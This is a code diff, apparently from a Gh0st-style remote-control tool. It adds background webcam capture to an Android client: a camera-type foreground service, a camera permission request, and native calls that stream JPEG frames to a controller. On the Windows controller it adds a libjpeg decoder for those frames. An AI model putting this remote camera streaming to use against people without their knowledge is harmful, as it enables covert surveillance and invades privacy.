// 优先后摄;电视盒子/无后摄设备退到任意一个
|
||||
for (id in ids) {
|
||||
val facing = runCatching {
|
||||
manager.getCameraCharacteristics(id).get(CameraCharacteristics.LENS_FACING)
|
||||
}.getOrNull()
|
||||
if (facing == CameraCharacteristics.LENS_FACING_BACK) return id
|
||||
}
|
||||
return ids.first()
|
||||
}
|
||||
|
||||
private fun pickSize(manager: CameraManager, id: String): Pair<Int, Int>? {
|
||||
val chars = runCatching { manager.getCameraCharacteristics(id) }.getOrNull() ?: return null
|
||||
val map = chars.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP) ?: return null
|
||||
val sizes = runCatching { map.getOutputSizes(ImageFormat.JPEG) }.getOrNull() ?: return null
|
||||
if (sizes.isEmpty()) return null
|
||||
val fit = sizes.filter { it.width <= MAX_W && it.height <= MAX_H }
|
||||
// 没有 ≤720p 的档位时选最小的一档:直接挑最大档会以 5-12 MP 推流,
|
||||
// 8fps 就能把控制连接挤死
|
||||
val best = if (fit.isNotEmpty()) fit.maxByOrNull { it.width * it.height }
|
||||
else sizes.minByOrNull { it.width * it.height }
|
||||
best ?: return null
|
||||
return best.width to best.height
|
||||
}
|
||||
}
|
||||
@@ -555,6 +555,12 @@ class CaptureService : Service() {
|
||||
checkSelfPermission(Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED) {
|
||||
types = types or ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE
|
||||
}
|
||||
// 摄像头管理(COMMAND_WEBCAM)要在后台用相机:Android 11+ 要求前台服务带 camera 类型。
|
||||
// 没授权时不能带,否则 startForeground 直接抛 SecurityException。
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R &&
|
||||
checkSelfPermission(Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
|
||||
types = types or ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA
|
||||
}
|
||||
try {
|
||||
startForeground(NOTIF_ID, buildNotification(), types)
|
||||
} catch (e: Exception) {
|
||||
|
||||
@@ -128,6 +128,10 @@ class MainActivity : AppCompatActivity() {
|
||||
// 主控打开语音监听时客户端会回一条「麦克风不可用」的提示
|
||||
missing.add(Manifest.permission.RECORD_AUDIO)
|
||||
}
|
||||
if (checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
||||
// 摄像头管理(COMMAND_WEBCAM);拒绝后主控打开视频管理会收到「摄像头不可用」
|
||||
missing.add(Manifest.permission.CAMERA)
|
||||
}
|
||||
if (missing.isNotEmpty()) {
|
||||
requestPermissions(missing.toTypedArray(), REQUEST_PERMISSIONS)
|
||||
return
|
||||
|
||||
@@ -41,4 +41,13 @@ object YamaBridge {
|
||||
* GSM 6.10/WAV49 并写入语音子连接。没有活跃会话时直接丢弃。
|
||||
*/
|
||||
external fun nativeAudioSendPcm(samples: ShortArray)
|
||||
|
||||
/**
|
||||
* 摄像头管理:Camera2 每输出一帧 JPEG,交给 native 封装成
|
||||
* [TOKEN_WEBCAM_DIB][isCompress][fcc][JPEG] 发给服务端。
|
||||
*/
|
||||
external fun nativeOnCameraJpeg(data: ByteArray)
|
||||
|
||||
/** 摄像头采集失败(无权限 / 被占用 / 会话配置失败),回报主控 */
|
||||
external fun nativeOnCameraError(msg: String)
|
||||
}
|
||||
@@ -153,6 +153,11 @@ inline int isValid_10s()
|
||||
#define CLIENT_CAP_PRIVACY_OVERLAY 0x10000 // 屏幕子连接处理 COMMAND_SCREEN_BLOCK_INPUT / COMMAND_SCREEN_BLANK(Android 用无障碍全屏 overlay 实现;Windows 一直支持锁定键鼠但不声明这个位)
|
||||
#define CLIENT_CAP_PROCESS 0x20000 // 主连接处理 COMMAND_SYSTEM(系统子连接:COMMAND_PSLIST / COMMAND_KILLPROCESS;Linux/macOS 声明,Windows 一直支持但不声明)
|
||||
|
||||
// TOKEN_WEBCAM_DIB 帧头里的 fccHandler(第 3~6 字节):Android 客户端直接发 JPEG,
|
||||
// 服务端识别这个 FOURCC 后用 turbojpeg 解码,不依赖系统安装 VFW 编解码器。
|
||||
// 值等于 mmioFOURCC('J','P','G','D')。
|
||||
#define WEBCAM_FOURCC_JPEG_DIRECT 0x4447504A
|
||||
|
||||
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
|
||||
|
||||
// 客户端状态: 1-被控端退出 2-主控端退出
|
||||
|
||||
@@ -13,6 +13,10 @@ enum FCCHandler {
|
||||
ENCODER_MJPEG = mmioFOURCC('M', 'J', 'P', 'G'),
|
||||
// 安装x264vfw编解码器: https://sourceforge.net/projects/x264vfw/
|
||||
ENCODER_H264 = mmioFOURCC('X', '2', '6', '4'),
|
||||
// Android 客户端直接发 JPEG(Camera2 ImageReader 输出)。服务端用 turbojpeg
|
||||
// 解码,不经过 VFW ICM——目标机不需要安装任何编解码器。
|
||||
// 值必须与 common/commands.h 的 WEBCAM_FOURCC_JPEG_DIRECT 一致。
|
||||
ENCODER_JPEG_DIRECT = mmioFOURCC('J', 'P', 'G', 'D'),
|
||||
};
|
||||
|
||||
/************************************************************************
|
||||
|
||||
@@ -5,6 +5,9 @@
|
||||
#include "2015Remote.h"
|
||||
#include "VideoDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
// Android 客户端直接发 JPEG:用项目已在用的 libjpeg(HideScreenSpyDlg.cpp 的
|
||||
// JPG_BMP 走同一套 API 与同一份库),不再引入 turbojpeg 的 tj* 运行时符号。
|
||||
#include "../common/jpeglib.h"
|
||||
|
||||
|
||||
enum {
|
||||
@@ -194,6 +197,11 @@ void CVideoDlg::DrawDIB(void)
|
||||
}
|
||||
SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED);
|
||||
memcpy(m_BitmapData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen);
|
||||
} else if (*(LPDWORD)(szBuffer + 2) == ENCODER_JPEG_DIRECT) {
|
||||
// Android(Camera2)直接发 JPEG:不经过 VFW ICM,turbojpeg 直解
|
||||
if (DecodeJpegFrame(szBuffer + nHeadLen, ulBufferLen - nHeadLen)) {
|
||||
SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
|
||||
}
|
||||
} else { // 解码
|
||||
////这里缓冲区里的的第二个字符正好是是否视频解码
|
||||
InitCodec(*(LPDWORD)(szBuffer + 2)); //判断
|
||||
@@ -210,6 +218,95 @@ void CVideoDlg::DrawDIB(void)
|
||||
}
|
||||
|
||||
|
||||
namespace {
|
||||
|
||||
// libjpeg 的默认 error_exit 会调 exit():一帧畸形 JPEG 就能结束整个服务端。
|
||||
// 与 HideScreenSpyDlg.cpp 的 JPG_BMP 同一套 setjmp/longjmp 兜底。
|
||||
struct VideoJpegErrorMgr {
|
||||
jpeg_error_mgr pub; // 必须是第一个成员
|
||||
jmp_buf jb;
|
||||
};
|
||||
|
||||
void VideoJpegErrorExit(j_common_ptr cinfo)
|
||||
{
|
||||
longjmp(reinterpret_cast<VideoJpegErrorMgr*>(cinfo->err)->jb, 1);
|
||||
}
|
||||
|
||||
void VideoJpegSilentMessage(j_common_ptr /*cinfo*/)
|
||||
{
|
||||
// 畸形/截断的 JPEG 可能被反复发送,保持静默避免刷屏
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
// Android 客户端(COMMAND_WEBCAM → Camera2 JPEG)的帧解码。
|
||||
// BITMAPINFO 描述的是解码后的位图(BI_RGB / 24bpp / bottom-up),与 Windows
|
||||
// 摄像头的 DIB 布局一致,DrawDib 和「保存 AVI」两条路径都不用改。
|
||||
bool CVideoDlg::DecodeJpegFrame(const BYTE* data, UINT len)
|
||||
{
|
||||
if (!data || len == 0 || !m_BitmapInfor_Full || !m_BitmapData_Full)
|
||||
return false;
|
||||
|
||||
const int dw = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||
const int dh = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
if (dw <= 0 || dh <= 0)
|
||||
return false;
|
||||
|
||||
// 值初始化:longjmp 回来后要 destroy,不能是栈上的垃圾指针
|
||||
struct jpeg_decompress_struct jds = {};
|
||||
VideoJpegErrorMgr jem;
|
||||
jds.err = jpeg_std_error(&jem.pub);
|
||||
jem.pub.error_exit = VideoJpegErrorExit;
|
||||
jem.pub.output_message = VideoJpegSilentMessage;
|
||||
|
||||
volatile bool created = false;
|
||||
if (setjmp(jem.jb) != 0) {
|
||||
if (created) jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
|
||||
jpeg_create_decompress(&jds);
|
||||
created = true;
|
||||
jpeg_mem_src(&jds, const_cast<unsigned char*>(data), len);
|
||||
|
||||
if (jpeg_read_header(&jds, TRUE) != JPEG_HEADER_OK) {
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
if ((int)jds.image_width != dw || (int)jds.image_height != dh) {
|
||||
// BITMAPINFO 与相机分辨率在同一会话里固定;尺寸对不上宁可丢帧
|
||||
Mprintf("[Video] JPEG %ux%u != bitmap %dx%d, frame dropped\n",
|
||||
jds.image_width, jds.image_height, dw, dh);
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
|
||||
jds.out_color_space = JCS_EXT_BGR;
|
||||
if (!jpeg_start_decompress(&jds)) {
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
|
||||
// BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算(见 Android 客户端
|
||||
// SendBitmapInfo),这里逐行写回 bottom-up:第 0 行是图像最底部。
|
||||
const int stride = (dw * 3 + 3) & ~3;
|
||||
while (jds.output_scanline < jds.output_height) {
|
||||
const int y = (int)jds.output_scanline;
|
||||
JSAMPROW row = m_BitmapData_Full + (size_t)(dh - 1 - y) * stride;
|
||||
if (jpeg_read_scanlines(&jds, &row, 1) != 1) {
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (!jpeg_finish_decompress(&jds)) {
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return true;
|
||||
}
|
||||
|
||||
void CVideoDlg::InitCodec(DWORD fccHandler)
|
||||
{
|
||||
if (m_pVideoCodec != NULL)
|
||||
|
||||
@@ -146,6 +146,9 @@ public:
|
||||
|
||||
void SaveAvi(void);
|
||||
void InitCodec(DWORD fccHandler);
|
||||
// Android 客户端直接发 JPEG(ENCODER_JPEG_DIRECT):turbojpeg 解到
|
||||
// m_BitmapData_Full(bottom-up BGR24,与 Windows 摄像头一致)。
|
||||
bool DecodeJpegFrame(const BYTE* data, UINT len);
|
||||
|
||||
CString m_aviFile; // 如果文件名不为空就写入
|
||||
CBmpToAvi m_aviStream;
|
||||
|
||||
Reference in new issue
Block a user